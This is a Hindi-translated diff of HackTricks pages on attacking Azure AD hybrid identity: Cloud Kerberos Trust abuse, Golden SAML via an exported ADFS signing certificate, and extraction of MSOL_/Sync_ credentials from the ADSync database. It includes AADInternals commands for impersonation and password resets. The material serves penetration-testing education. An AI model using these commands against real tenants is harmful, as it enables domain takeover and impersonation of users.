इसलिए एक **आंशिक TGT का अनुरोध करना संभव है जो एक द्वितीयक `krbtgt`** कुंजी का उपयोग करके हस्ताक्षरित है जिसमें **`KERB-KEY-LIST-REQ`** फ़ील्ड को **PADATA** अनुरोध के भाग में शामिल किया गया है और फिर एक पूर्ण TGT प्राप्त करें जो प्राथमिक `krbtgt` कुंजी के साथ हस्ताक्षरित है **जो प्रतिक्रिया में NT हैश को शामिल करता है**। +चूंकि ऐसी सेवाएँ हो सकती हैं जो kerberos प्रमाणीकरण का समर्थन नहीं करती हैं बल्कि NTLM करती हैं, इसलिए **एक आंशिक TGT को द्वितीयक `krbtgt`** कुंजी का उपयोग करके हस्ताक्षरित करने के लिए अनुरोध करना संभव है जिसमें **`KERB-KEY-LIST-REQ`** फ़ील्ड को **PADATA** अनुरोध के भाग में शामिल किया गया है और फिर एक पूर्ण TGT प्राप्त करें जो प्राथमिक `krbtgt` कुंजी के साथ हस्ताक्षरित हो **NT है।** उत्तर में हैश। ## Abusing Cloud Kerberos Trust to obtain Domain Admin -जब AzureAD एक **आंशिक TGT** उत्पन्न करता है, तो यह उपयोगकर्ता के बारे में उसके पास मौजूद विवरण का उपयोग करेगा। इसलिए, यदि एक ग्लोबल एडमिन डेटा को संशोधित कर सकता है जैसे कि **AzureAD में उपयोगकर्ता का सुरक्षा पहचानकर्ता और नाम**, जब उस उपयोगकर्ता के लिए TGT का अनुरोध किया जाता है, तो **सुरक्षा पहचानकर्ता एक अलग होगा**। +जब AzureAD एक **आंशिक TGT** उत्पन्न करता है, तो यह उपयोगकर्ता के बारे में उसके पास मौजूद विवरण का उपयोग करेगा। इसलिए, यदि एक Global Admin उपयोगकर्ता के AzureAD में **सुरक्षा पहचानकर्ता और नाम** जैसे डेटा को संशोधित कर सकता है, तो उस उपयोगकर्ता के लिए TGT का अनुरोध करते समय **सुरक्षा पहचानकर्ता एक अलग होगा**। -यह Microsoft Graph या Azure AD Graph के माध्यम से करना संभव नहीं है, लेकिन **API Active Directory Connect** का उपयोग करना संभव है जो समन्वयित उपयोगकर्ताओं को बनाने और अपडेट करने के लिए उपयोग किया जाता है, जिसे ग्लोबल एडमिन्स द्वारा **किसी भी हाइब्रिड उपयोगकर्ता के SAM नाम और SID को संशोधित करने के लिए उपयोग किया जा सकता है**, और फिर यदि हम प्रमाणीकरण करते हैं, तो हमें संशोधित SID वाला आंशिक TGT प्राप्त होता है। +यह Microsoft Graph या Azure AD Graph के माध्यम से करना संभव नहीं है, लेकिन **API Active Directory Connect** का उपयोग करके किया जा सकता है जिसका उपयोग Global Admins **किसी भी हाइब्रिड उपयोगकर्ता के SAM नाम और SID को संशोधित करने के लिए** कर सकते हैं, और फिर यदि हम प्रमाणीकरण करते हैं, तो हमें संशोधित SID वाला आंशिक TGT प्राप्त होता है। -ध्यान दें कि हम इसे AADInternals के साथ कर सकते हैं और [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a) cmdlet के माध्यम से समन्वयित उपयोगकर्ताओं को अपडेट कर सकते हैं। +ध्यान दें कि हम AADInternals के साथ यह कर सकते हैं और [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a) cmdlet के माध्यम से समन्वयित उपयोगकर्ताओं को अपडेट कर सकते हैं। ### Attack prerequisites -हमले की सफलता और डोमेन एडमिन विशेषाधिकारों की प्राप्ति कुछ पूर्वापेक्षाओं को पूरा करने पर निर्भर करती है: +हमले की सफलता और Domain Admin विशेषाधिकारों की प्राप्ति कुछ पूर्वापेक्षाओं को पूरा करने पर निर्भर करती है: -- समन्वय API के माध्यम से खातों को बदलने की क्षमता महत्वपूर्ण है। यह ग्लोबल एडमिन की भूमिका या AD Connect समन्वय खाता होने से प्राप्त किया जा सकता है। वैकल्पिक रूप से, हाइब्रिड आइडेंटिटी एडमिनिस्ट्रेटर की भूमिका भी पर्याप्त होगी, क्योंकि यह AD Connect को प्रबंधित करने और नए समन्वय खातों की स्थापना की अनुमति देती है। -- एक **हाइब्रिड खाता** होना आवश्यक है। इस खाते को पीड़ित खाते के विवरण के साथ संशोधित करने के लिए अनुकूल होना चाहिए और प्रमाणीकरण के लिए भी सुलभ होना चाहिए। -- सक्रिय निर्देशिका में एक **लक्षित पीड़ित खाता** की पहचान करना आवश्यक है। हालाँकि हमले को पहले से समन्वयित किसी भी खाते पर निष्पादित किया जा सकता है, Azure AD टेनेट को ऑन-प्रिमिस सुरक्षा पहचानकर्ताओं को पुन: उत्पन्न नहीं करना चाहिए, जिससे टिकट प्राप्त करने के लिए एक असमर्थित खाते को संशोधित करने की आवश्यकता होती है। -- इसके अलावा, इस खाते में डोमेन एडमिन समकक्ष विशेषाधिकार होना चाहिए लेकिन इसे सामान्य AD प्रशासक समूहों का सदस्य नहीं होना चाहिए ताकि AzureAD RODC द्वारा अमान्य TGT उत्पन्न करने से बचा जा सके। -- सबसे उपयुक्त लक्ष्य **AD Connect Sync सेवा द्वारा उपयोग किया जाने वाला सक्रिय निर्देशिका खाता है**। यह खाता Azure AD के साथ समन्वयित नहीं है, जिससे इसका SID एक संभावित लक्ष्य बन जाता है, और यह स्वाभाविक रूप से पासवर्ड हैश को समन्वयित करने की भूमिका के कारण डोमेन एडमिन समकक्ष विशेषाधिकार रखता है (मानते हुए कि पासवर्ड हैश समन्वय सक्रिय है)। एक्सप्रेस इंस्टॉलेशन वाले डोमेन के लिए, इस खाते का उपसर्ग **MSOL\_** है। अन्य उदाहरणों के लिए, खाते को डोमेन ऑब्जेक्ट पर निर्देशिका पुनरुत्पादन विशेषाधिकारों के साथ सभी खातों को सूचीबद्ध करके पहचाना जा सकता है। +- Synchronization API के माध्यम से खातों को बदलने की क्षमता महत्वपूर्ण है। यह Global Admin की भूमिका या AD Connect समन्वय खाता होने से प्राप्त किया जा सकता है। वैकल्पिक रूप से, Hybrid Identity Administrator भूमिका भी पर्याप्त होगी, क्योंकि यह AD Connect को प्रबंधित करने और नए समन्वय खातों की स्थापना की अनुमति देती है। +- **हाइब्रिड खाता** का होना आवश्यक है। इस खाते को पीड़ित खाते के विवरण के साथ संशोधन के लिए अनुकूल होना चाहिए और प्रमाणीकरण के लिए भी सुलभ होना चाहिए। +- Active Directory में एक **लक्षित पीड़ित खाता** की पहचान करना आवश्यक है। हालाँकि हमले को पहले से समन्वयित किसी भी खाते पर निष्पादित किया जा सकता है, Azure AD टेनेट को ऑन-प्रेम सुरक्षा पहचानकर्ताओं को पुन: उत्पन्न नहीं करना चाहिए, जिससे टिकट प्राप्त करने के लिए एक असमर्थित खाते को संशोधित करने की आवश्यकता होती है। +- इसके अलावा, इस खाते को डोमेन एडमिन समकक्ष विशेषाधिकार होना चाहिए लेकिन इसे सामान्य AD प्रशासक समूहों का सदस्य नहीं होना चाहिए ताकि AzureAD RODC द्वारा अमान्य TGT उत्पन्न करने से बचा जा सके। +- सबसे उपयुक्त लक्ष्य **Active Directory खाता है जिसका उपयोग AD Connect Sync सेवा द्वारा किया जाता है।** यह खाता Azure AD के साथ समन्वयित नहीं है, जिससे इसका SID एक संभावित लक्ष्य बन जाता है, और यह स्वाभाविक रूप से डोमेन एडमिन समकक्ष विशेषाधिकार रखता है क्योंकि इसका उपयोग पासवर्ड हैश को समन्वयित करने में किया जाता है (मानते हुए कि पासवर्ड हैश समन्वय सक्रिय है)। एक्सप्रेस स्थापना वाले डोमेन के लिए, इस खाते का उपसर्ग **MSOL\_** है। अन्य उदाहरणों के लिए, इस खाते को डोमेन ऑब्जेक्ट पर निर्देशिका पुनरुत्पादन विशेषाधिकारों के साथ सभी खातों को सूचीबद्ध करके पहचाना जा सकता है। ### The full attack -इसे मूल पोस्ट में चेक करें: [https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) +Check it in the original post: [https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md index 36a893399..76b56bcb5 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md @@ -2,8 +2,8 @@ {{#include ../../../../banners/hacktricks-training.md}} -**Check the techinque in:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) and [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8) +**तकनीक की जांच करें:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) और [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8) -ब्लॉग पोस्ट Azure AD में एक विशेषाधिकार वृद्धि की भेद्यता पर चर्चा करता है, जो एप्लिकेशन एडमिन या समझौता किए गए ऑन-प्रिमाइस सिंक खातों को एप्लिकेशनों को क्रेडेंशियल असाइन करके विशेषाधिकार बढ़ाने की अनुमति देता है। यह भेद्यता Azure AD के एप्लिकेशनों और सेवा प्रिंसिपलों के प्रबंधन के "डिजाइन द्वारा" व्यवहार से उत्पन्न होती है, जो विशेष रूप से डिफ़ॉल्ट Office 365 एप्लिकेशनों को प्रभावित करती है। हालांकि रिपोर्ट किया गया, यह मुद्दा Microsoft द्वारा भेद्यता के रूप में नहीं माना जाता है क्योंकि एडमिन अधिकार असाइनमेंट व्यवहार का दस्तावेजीकरण किया गया है। पोस्ट में विस्तृत तकनीकी अंतर्दृष्टि प्रदान की गई है और Azure AD वातावरण में सेवा प्रिंसिपल क्रेडेंशियल की नियमित समीक्षा करने की सलाह दी गई है। अधिक विस्तृत जानकारी के लिए, आप मूल ब्लॉग पोस्ट पर जा सकते हैं। +ब्लॉग पोस्ट Azure AD में एक विशेषाधिकार वृद्धि की भेद्यता पर चर्चा करता है, जो एप्लिकेशन एडमिन या समझौता किए गए ऑन-प्रिमाइस सिंक खातों को एप्लिकेशनों को क्रेडेंशियल असाइन करके विशेषाधिकार बढ़ाने की अनुमति देता है। यह भेद्यता Azure AD के एप्लिकेशनों और सेवा प्रिंसिपलों के प्रबंधन के "डिजाइन द्वारा" व्यवहार से उत्पन्न होती है, जो विशेष रूप से डिफ़ॉल्ट Office 365 एप्लिकेशनों को प्रभावित करती है। हालांकि रिपोर्ट किया गया, यह मुद्दा Microsoft द्वारा विशेषाधिकार असाइनमेंट व्यवहार के दस्तावेजीकरण के कारण भेद्यता के रूप में नहीं माना जाता है। पोस्ट में विस्तृत तकनीकी अंतर्दृष्टि प्रदान की गई है और Azure AD वातावरण में सेवा प्रिंसिपल क्रेडेंशियल की नियमित समीक्षा की सलाह दी गई है। अधिक विस्तृत जानकारी के लिए, आप मूल ब्लॉग पोस्ट पर जा सकते हैं। {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md index 7d0140ebb..62d913a1d 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md @@ -1,10 +1,10 @@ -# Az- Synchronising New Users +# Az- नए उपयोगकर्ताओं का समन्वय {{#include ../../../../banners/hacktricks-training.md}} -## Syncing AzureAD users to on-prem to escalate from on-prem to AzureAD +## ऑन-प्रेम से AzureAD में बढ़ने के लिए AzureAD उपयोगकर्ताओं का समन्वय करना -AzureAD से **on-prem AD** में एक नए उपयोगकर्ता को समन्वयित करने के लिए ये आवश्यकताएँ हैं: +AzureAD से **ऑन-प्रेम AD** में एक नए उपयोगकर्ता को समन्वयित करने के लिए ये आवश्यकताएँ हैं: - **AzureAD उपयोगकर्ता** के पास एक प्रॉक्सी पता होना चाहिए (एक **मेलबॉक्स**) - लाइसेंस की आवश्यकता नहीं है @@ -12,12 +12,12 @@ AzureAD से **on-prem AD** में एक नए उपयोगकर् ```powershell Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl ``` -जब AzureAD में ऐसे उपयोगकर्ता पाए जाते हैं, तो **on-prem AD से इसे एक्सेस करने के लिए** आपको बस **एक नया खाता बनाना** है जिसमें **proxyAddress** SMTP ईमेल हो। +जब AzureAD में ऐसे उपयोगकर्ता पाए जाते हैं, तो **on-prem AD से इसे एक्सेस करने के लिए** आपको बस **एक नया खाता बनाना** होगा जिसमें **proxyAddress** SMTP ईमेल हो। -स्वचालित रूप से, यह उपयोगकर्ता **AzureAD से on-prem AD उपयोगकर्ता में सिंक हो जाएगा**। +स्वतः, यह उपयोगकर्ता **AzureAD से on-prem AD उपयोगकर्ता के लिए सिंक हो जाएगा**। > [!CAUTION] -> ध्यान दें कि इस हमले को करने के लिए आपको **Domain Admin** की आवश्यकता नहीं है, आपको बस **नए उपयोगकर्ता बनाने** की अनुमति चाहिए। +> ध्यान दें कि इस हमले को करने के लिए आपको **Domain Admin** की आवश्यकता नहीं है, आपको बस **नए उपयोगकर्ताओं को बनाने** के लिए अनुमतियाँ चाहिए। > > इसके अलावा, यह **MFA को बायपास नहीं करेगा**। > diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md index 079c88a54..3301e0b38 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md @@ -24,7 +24,7 @@
-1. प्रारंभ में, एक अनुप्रयोग (सेवा प्रदाता या SP, जैसे AWS कंसोल या vSphere वेब क्लाइंट) का उपयोगकर्ता द्वारा एक्सेस किया जाता है। यह कदम बायपास किया जा सकता है, जिससे क्लाइंट सीधे IdP (पहचान प्रदाता) पर जा सकता है, जो विशिष्ट कार्यान्वयन पर निर्भर करता है। +1. प्रारंभ में, एक अनुप्रयोग (सेवा प्रदाता या SP, जैसे AWS कंसोल या vSphere वेब क्लाइंट) का उपयोगकर्ता द्वारा उपयोग किया जाता है। यह कदम बायपास किया जा सकता है, जिससे क्लाइंट सीधे IdP (पहचान प्रदाता) पर जाता है, जो विशिष्ट कार्यान्वयन पर निर्भर करता है। 2. इसके बाद, SP उपयोगकर्ता प्रमाणीकरण के लिए उपयुक्त IdP (जैसे, AD FS, Okta) की पहचान करता है। फिर यह एक SAML (सिक्योरिटी असेर्शन मार्कअप लैंग्वेज) AuthnRequest तैयार करता है और क्लाइंट को चुने हुए IdP पर पुनः मार्गदर्शित करता है। 3. IdP आगे बढ़ता है, उपयोगकर्ता को प्रमाणीकरण करता है। प्रमाणीकरण के बाद, IdP द्वारा एक SAMLResponse तैयार किया जाता है और उपयोगकर्ता के माध्यम से SP को अग्रेषित किया जाता है। 4. अंततः, SP SAMLResponse का मूल्यांकन करता है। यदि सफलतापूर्वक मान्य किया गया, जो IdP के साथ एक विश्वास संबंध को इंगित करता है, तो उपयोगकर्ता को पहुंच दी जाती है। यह लॉगिन प्रक्रिया के पूर्ण होने का संकेत है, जिससे उपयोगकर्ता सेवा का उपयोग कर सकता है। @@ -39,31 +39,31 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks - AD FS एक क्लेम-आधारित पहचान मॉडल है। - "..क्लेम्स बस उपयोगकर्ताओं के बारे में किए गए बयानों (उदाहरण के लिए, नाम, पहचान, समूह) हैं, जो मुख्य रूप से इंटरनेट पर कहीं भी क्लेम-आधारित अनुप्रयोगों तक पहुंच को अधिकृत करने के लिए उपयोग किए जाते हैं।" -- एक उपयोगकर्ता के लिए क्लेम SAML टोकनों के अंदर लिखे जाते हैं और फिर IdP द्वारा गोपनीयता प्रदान करने के लिए हस्ताक्षरित होते हैं। +- एक उपयोगकर्ता के लिए क्लेम्स SAML टोकनों के अंदर लिखे जाते हैं और फिर IdP द्वारा गोपनीयता प्रदान करने के लिए हस्ताक्षरित होते हैं। - एक उपयोगकर्ता को ImmutableID द्वारा पहचाना जाता है। यह वैश्विक रूप से अद्वितीय है और Azure AD में संग्रहीत है। -- ImmutableID को उपयोगकर्ता के लिए ऑन-प्रिम में ms-DS-ConsistencyGuid पर संग्रहीत किया जाता है और/या उपयोगकर्ता के GUID से निकाला जा सकता है। +- ImmutableID को उपयोगकर्ता के लिए ऑन-प्रिम पर ms-DS-ConsistencyGuid के रूप में संग्रहीत किया जाता है और/या उपयोगकर्ता के GUID से निकाला जा सकता है। - अधिक जानकारी [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims) में है। **गोल्डन SAML हमला:** -- ADFS में, SAML Response को एक टोकन-हस्ताक्षर प्रमाणपत्र द्वारा हस्ताक्षरित किया जाता है। +- ADFS में, SAML प्रतिक्रिया को एक टोकन-हस्ताक्षर प्रमाणपत्र द्वारा हस्ताक्षरित किया जाता है। - यदि प्रमाणपत्र से समझौता किया जाता है, तो Azure AD में किसी भी उपयोगकर्ता के रूप में प्रमाणीकरण करना संभव है जो Azure AD के साथ समन्वयित है! -- हमारे PTA दुरुपयोग की तरह, एक उपयोगकर्ता के लिए पासवर्ड परिवर्तन या MFA का कोई प्रभाव नहीं होगा क्योंकि हम प्रमाणीकरण प्रतिक्रिया को जाली बना रहे हैं। +- हमारे PTA दुरुपयोग की तरह, उपयोगकर्ता के लिए पासवर्ड परिवर्तन या MFA का कोई प्रभाव नहीं होगा क्योंकि हम प्रमाणीकरण प्रतिक्रिया को जाली बना रहे हैं। - प्रमाणपत्र को DA विशेषाधिकार के साथ AD FS सर्वर से निकाला जा सकता है और फिर इसे किसी भी इंटरनेट से जुड़े मशीन से उपयोग किया जा सकता है। - अधिक जानकारी [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) में है। ### गोल्डन SAML -वह प्रक्रिया जहां एक **पहचान प्रदाता (IdP)** उपयोगकर्ता साइन-इन को अधिकृत करने के लिए एक **SAMLResponse** उत्पन्न करता है, अत्यंत महत्वपूर्ण है। IdP के विशिष्ट कार्यान्वयन के आधार पर, **प्रतिक्रिया** को **हस्ताक्षरित** या **एन्क्रिप्टेड** किया जा सकता है **IdP की निजी कुंजी** का उपयोग करके। यह प्रक्रिया **सेवा प्रदाता (SP)** को SAMLResponse की प्रामाणिकता की पुष्टि करने की अनुमति देती है, यह सुनिश्चित करते हुए कि यह वास्तव में एक विश्वसनीय IdP द्वारा जारी किया गया था। +एक **पहचान प्रदाता (IdP)** द्वारा उपयोगकर्ता साइन-इन को अधिकृत करने के लिए **SAMLResponse** उत्पन्न करने की प्रक्रिया महत्वपूर्ण है। IdP के विशिष्ट कार्यान्वयन के आधार पर, **प्रतिक्रिया** को **हस्ताक्षरित** या **एन्क्रिप्टेड** किया जा सकता है, जो **IdP की निजी कुंजी** का उपयोग करता है। यह प्रक्रिया **सेवा प्रदाता (SP)** को SAMLResponse की प्रामाणिकता की पुष्टि करने की अनुमति देती है, यह सुनिश्चित करते हुए कि यह वास्तव में एक विश्वसनीय IdP द्वारा जारी किया गया था। [गोल्डन टिकट हमले](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket) के साथ एक समानांतर खींचा जा सकता है, जहां उपयोगकर्ता की पहचान और अनुमतियों (गोल्डन टिकट के लिए KRBTGT, गोल्डन SAML के लिए टोकन-हस्ताक्षर निजी कुंजी) को **प्रमाणीकरण वस्तु** (TGT या SAMLResponse) को जाली बनाने के लिए हेरफेर किया जा सकता है। यह किसी भी उपयोगकर्ता का अनुकरण करने की अनुमति देता है, SP तक अनधिकृत पहुंच प्रदान करता है। गोल्डन SAML कुछ लाभ प्रदान करते हैं: -- इन्हें **दूर से** बनाया जा सकता है, बिना उस डोमेन या संघ का हिस्सा बने। +- इन्हें **दूरस्थ रूप से** बनाया जा सकता है, बिना डोमेन या संघ का हिस्सा बने। - ये **दो-कारक प्रमाणीकरण (2FA)** सक्षम होने पर भी प्रभावी रहते हैं। -- टोकन-हस्ताक्षर **निजी कुंजी स्वचालित रूप से नवीनीकरण नहीं होती**। -- **एक उपयोगकर्ता का पासवर्ड बदलने से पहले से उत्पन्न SAML अमान्य नहीं होता**। +- टोकन-हस्ताक्षर **निजी कुंजी स्वचालित रूप से नवीनीकरण नहीं करती है**। +- **उपयोगकर्ता का पासवर्ड बदलने से पहले से उत्पन्न SAML अमान्य नहीं होता है**। #### AWS + AD FS + गोल्डन SAML @@ -133,7 +133,7 @@ Export-AADIntADFSSigningCertificate # Impersonate a user to to access cloud apps Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose ``` -यह क्लाउड केवल उपयोगकर्ताओं का ImmutableID बनाना और उनकी नकल करना भी संभव है। +यह भी संभव है कि केवल क्लाउड उपयोगकर्ताओं का ImmutableID बनाया जाए और उनकी नकल की जाए। ```powershell # Create a realistic ImmutableID and set it for a cloud only user [System.Convert]::ToBase64String((New-Guid).tobytearray()) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md index 437e6296d..272ed166e 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md @@ -4,7 +4,7 @@ ## Basic Information -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **पासवर्ड हैश समन्वय** हाइब्रिड पहचान को पूरा करने के लिए उपयोग किए जाने वाले साइन-इन तरीकों में से एक है। **Azure AD Connect** एक ऑन-प्रिमाइस सक्रिय निर्देशिका उदाहरण से एक क्लाउड-आधारित Azure AD उदाहरण में एक उपयोगकर्ता के पासवर्ड का हैश, हैश का हैश समन्वय करता है। +[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **पासवर्ड हैश समन्वय** हाइब्रिड पहचान को पूरा करने के लिए उपयोग किए जाने वाले साइन-इन तरीकों में से एक है। **Azure AD Connect** एक ऑन-प्रिमिस सक्रिय निर्देशिका उदाहरण से एक उपयोगकर्ता के पासवर्ड का हैश, हैश का हैश, एक क्लाउड-आधारित Azure AD उदाहरण में समन्वयित करता है।
@@ -13,33 +13,33 @@ सभी **उपयोगकर्ता** और **पासवर्ड हैश का हैश** ऑन-प्रिम से Azure AD में समन्वयित होते हैं। हालाँकि, **स्पष्ट-पाठ पासवर्ड** या **मूल** **हैश** Azure AD को नहीं भेजे जाते।\ इसके अलावा, **निर्मित** सुरक्षा समूह (जैसे डोमेन प्रशासक...) **Azure AD में समन्वयित नहीं होते**। -**हैश समन्वय** हर **2 मिनट** में होता है। हालाँकि, डिफ़ॉल्ट रूप से, **पासवर्ड समाप्ति** और **खाता** **समाप्ति** Azure AD में **समन्वयित नहीं होते**। इसलिए, एक उपयोगकर्ता जिसका **ऑन-प्रिम पासवर्ड समाप्त हो गया है** (बदला नहीं गया) पुरानी पासवर्ड का उपयोग करके **Azure संसाधनों** तक पहुँच जारी रख सकता है। +**हैश समन्वय** हर **2 मिनट** में होता है। हालाँकि, डिफ़ॉल्ट रूप से, **पासवर्ड समाप्ति** और **खाता** **समाप्ति** Azure AD में **समन्वयित नहीं होते**। इसलिए, एक उपयोगकर्ता जिसका **ऑन-प्रिम पासवर्ड समाप्त हो गया है** (बदला नहीं गया) पुराने पासवर्ड का उपयोग करके **Azure संसाधनों** तक पहुँच जारी रख सकता है। जब एक ऑन-प्रिम उपयोगकर्ता Azure संसाधन तक पहुँच प्राप्त करना चाहता है, तो **प्रमाणीकरण Azure AD पर होता है**। -**PHS** की आवश्यकता **पहचान सुरक्षा** और AAD डोमेन सेवाओं जैसी सुविधाओं के लिए होती है। +**PHS** की आवश्यकता होती है जैसे **पहचान सुरक्षा** और AAD डोमेन सेवाओं के लिए। ## Pivoting -जब PHS कॉन्फ़िगर किया जाता है, तो कुछ **विशेषाधिकार प्राप्त खाते** स्वचालित रूप से **बनाए जाते हैं**: +जब PHS कॉन्फ़िगर किया जाता है, तो कुछ **विशिष्ट खाते** स्वचालित रूप से **बनाए** जाते हैं: -- खाता **`MSOL_`** ऑन-प्रिम AD में स्वचालित रूप से बनाया जाता है। इस खाते को **डायरेक्टरी समन्वय खाते** की भूमिका दी जाती है (देखें [दस्तावेज़](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) जिसका अर्थ है कि इसके पास **ऑन-प्रिम AD में पुनरुत्पादन (DCSync) अनुमतियाँ हैं**। +- खाता **`MSOL_`** स्वचालित रूप से ऑन-प्रिम AD में बनाया जाता है। इस खाते को **डायरेक्टरी समन्वय खाते** की भूमिका दी जाती है (देखें [दस्तावेज़](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) जिसका अर्थ है कि इसके पास **ऑन-प्रिम AD में पुनरुत्पादन (DCSync) अनुमतियाँ हैं**। - एक खाता **`Sync__installationID`** Azure AD में बनाया जाता है। इस खाते को Azure AD में **किसी भी उपयोगकर्ता** (समन्वयित या केवल क्लाउड) का पासवर्ड **रीसेट** करने की अनुमति है। -पिछले दो विशेषाधिकार प्राप्त खातों के पासवर्ड **SQL सर्वर में** संग्रहीत होते हैं जहाँ **Azure AD Connect स्थापित है।** व्यवस्थापक स्पष्ट-पाठ में उन विशेषाधिकार प्राप्त उपयोगकर्ताओं के पासवर्ड निकाल सकते हैं।\ +इन दो पूर्व विशेषाधिकार प्राप्त खातों के पासवर्ड **SQL सर्वर में** संग्रहीत होते हैं जहाँ **Azure AD Connect स्थापित है।** व्यवस्थापक स्पष्ट-पाठ में उन विशेषाधिकार प्राप्त उपयोगकर्ताओं के पासवर्ड निकाल सकते हैं।\ डेटाबेस `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf` में स्थित है। -एक टेबल में से कॉन्फ़िगरेशन निकालना संभव है, जिसमें एक एन्क्रिप्टेड है: +एक टेबल में से कॉन्फ़िगरेशन निकालना संभव है, जिसमें से एक एन्क्रिप्टेड है: `SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;` -**एन्क्रिप्टेड कॉन्फ़िगरेशन** **DPAPI** के साथ एन्क्रिप्ट किया गया है और इसमें **`MSOL_*`** उपयोगकर्ता के पासवर्ड ऑन-प्रिम AD में और **Sync\_\*** का पासवर्ड AzureAD में शामिल है। इसलिए, इनका समझौता करने से AD और AzureAD में विशेषाधिकार प्राप्त किया जा सकता है। +**एन्क्रिप्टेड कॉन्फ़िगरेशन** **DPAPI** के साथ एन्क्रिप्टेड है और इसमें **`MSOL_*`** उपयोगकर्ता के पासवर्ड ऑन-प्रिम AD में और **Sync\_\*** का पासवर्ड AzureAD में शामिल है। इसलिए, इनका समझौता करने से AD और AzureAD में प्रिवेस्क करने की संभावना होती है। -आप इस वार्ता में [इन क्रेडेंशियल्स को कैसे संग्रहीत और डिक्रिप्ट किया जाता है, इसका पूरा अवलोकन पा सकते हैं](https://www.youtube.com/watch?v=JEIR5oGCwdg)। +आप इस [बातचीत में देख सकते हैं कि ये क्रेडेंशियल्स कैसे संग्रहीत और डिक्रिप्ट किए जाते हैं](https://www.youtube.com/watch?v=JEIR5oGCwdg)। ### Finding the **Azure AD connect server** -यदि **सर्वर जहाँ Azure AD connect स्थापित है** डोमेन से जुड़ा हुआ है (दस्तावेज़ में अनुशंसित), तो इसे निम्नलिखित के साथ खोजा जा सकता है: +यदि **सर्वर जहाँ Azure AD connect स्थापित है** डोमेन से जुड़ा है (दस्तावेज़ में अनुशंसित), तो इसे निम्नलिखित के साथ ढूंढना संभव है: ```powershell # ActiveDirectory module Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl @@ -82,7 +82,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA # 